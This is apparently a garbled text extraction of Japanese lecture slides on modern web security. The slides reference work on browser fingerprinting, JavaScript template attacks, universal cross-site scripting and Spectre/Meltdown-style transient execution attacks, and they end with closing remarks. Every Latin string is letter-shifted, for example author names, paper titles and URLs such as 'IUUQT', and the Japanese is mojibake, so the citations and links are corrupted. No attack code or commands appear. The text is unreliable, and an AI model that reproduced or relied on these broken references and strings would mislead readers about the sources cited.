TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ #SPXTFS'JOHFSQSJOUJOH ͓͖͑ͯ͘จ ‣ ͜ͷʹؔͯ͠ɺલ߲Ͱڍ͛ͨ-BQFSESJYFUBM ʹΑΔ αʔϕΠ͕ඇৗʹৄ͍͠ɻ ‣ 1-BQFSESJY
/#JFMPWB ##BVESZ BOE("WPJOF l#SPXTFS 'JOHFSQSJOUJOH"TVSWFZ z$P33 WPMBCT ‣ 4DIXBS[FUBM Ͱϒϥβ্ͰͷpOHFSQSJOUͷੜΛࣗ ಈԽ +BWB4DSJQU5FNQMBUF"UUBDLT ͕ఏҊ͞Ε͍ͯΔɻ ‣ .4DIXBS[ '-BDLOFS BOE%(SVTT l+BWB4DSJQU5FNQMBUF "UUBDLT"VUPNBUJDBMMZ*OGFSSJOH)PTU*OGPSNBUJPOGPS5BSHFUFE &YQMPJUT z/ETT OP'FCSVBSZ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 6944 6OJWFSTBM$SPTT4JUF4DSJQUJOH͞ΘΓ͚ͩ ‣ 6944߈ܸऀ͕ҙ0SJHJOΛͬͨεΫϦϓτΛ࣮ߦͰ͖ΔΑ͏ ͳ੬ऑੑͷ͜ͱɻ ‣ ݪҼϒϥβຊମɾϓϥάΠϯɾϒϥβ֦ுͷ࣮ෆඋɻ ‣
ඞಡ ‣ 6944EC IUUQTHJUIVCDPN.FUOFXVYTTEC ‣ .BTBUP,JOVHBXBࢯͷϒϩά IUUQTNBTBUPLJOVHBXBMDN ‣ (PPHMF͔Βग़ͨͷจ IUUQTBJHPPHMFSFTFBSDIQVCTQVC
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 5SBOTJFOU&YFDVUJPO"UUBDLT FH4QFDUSF .FMUEPXO ‣ 5SBOTJFOU&YFDVUJPO"UUBDLT ‣ 1%'ͷ$IBQUFSࢀরɻ ‣
ڵຯͷ͋ΔਓҎԼΛಡΉͱงғؾ͕͔Δ͔͠Εͳ͍ɻ ‣ (SVTTࢯͷത࢜จ IUUQTHSVTTDD͔Β୧ΕΔ ‣ $$BOFMMBFUBM l"4ZTUFNBUJD&WBMVBUJPOPG5SBOTJFOU&YFDVUJPO "UUBDLTBOE%FGFOTFT z ‣ 3.DJMSPZ +4FWDJL 55FCCJ #-5JU[FS BOE57FSXBFTU l4QFDUSFJTIFSFUPTUBZ"OBOBMZTJTPGTJEFDIBOOFMTBOE TQFDVMBUJWFFYFDVUJPO zQQr ‣ ͜ΕΒͷൃల͕4JUF*TPMBUJPO $03# $031 $0&1 ͷਐలΛଅ ͨ͠ ɺͱݴͬͯΑ͍ͱࢥ͏ ɻ
&YFSDJTF 3FDPO$IBMMFOHF ඇެ։
$PODMVTJPO
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࠷ޙʹ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ߈ܸͱޚཪදɻྺ࢙ʹֶ΅͏ɻ ‣ 8FCηΩϡϦςΟΛֶͿجૅମྗΛཆ͏͜ͱͰ͖·͔ͨ͠ʁ ‣ ࠓճऔΓ্͍͛ͯͳ͍ͨ͘͞Μ͋Γ·͢ɻ
N944 5SVTUFE5ZQFT ‣ ͨͩɺ͏ेཧղ͢Δ͋Δͣɻ ‣ ײΛ5XJUUFSͰͭͿ͍ͯ͘ΕΔͱخ͍͠Ͱ͢ɻ ‣ TFDDBNQTFDDBNQC ‣ ࠓޙҰॹʹ8FCηΩϡϦςΟΛֶΜͰ͍͖·͠ΐ͏ ‣ 'PMMPX!MNU@TXBMMPX!ZOVDIZ ‣ ࣄલ՝ͰಡΜͰΒͬͨຊͷϨϏϡϫʔืू͍ͯ͠·͢ɻ
"OZ2VFTUJPOT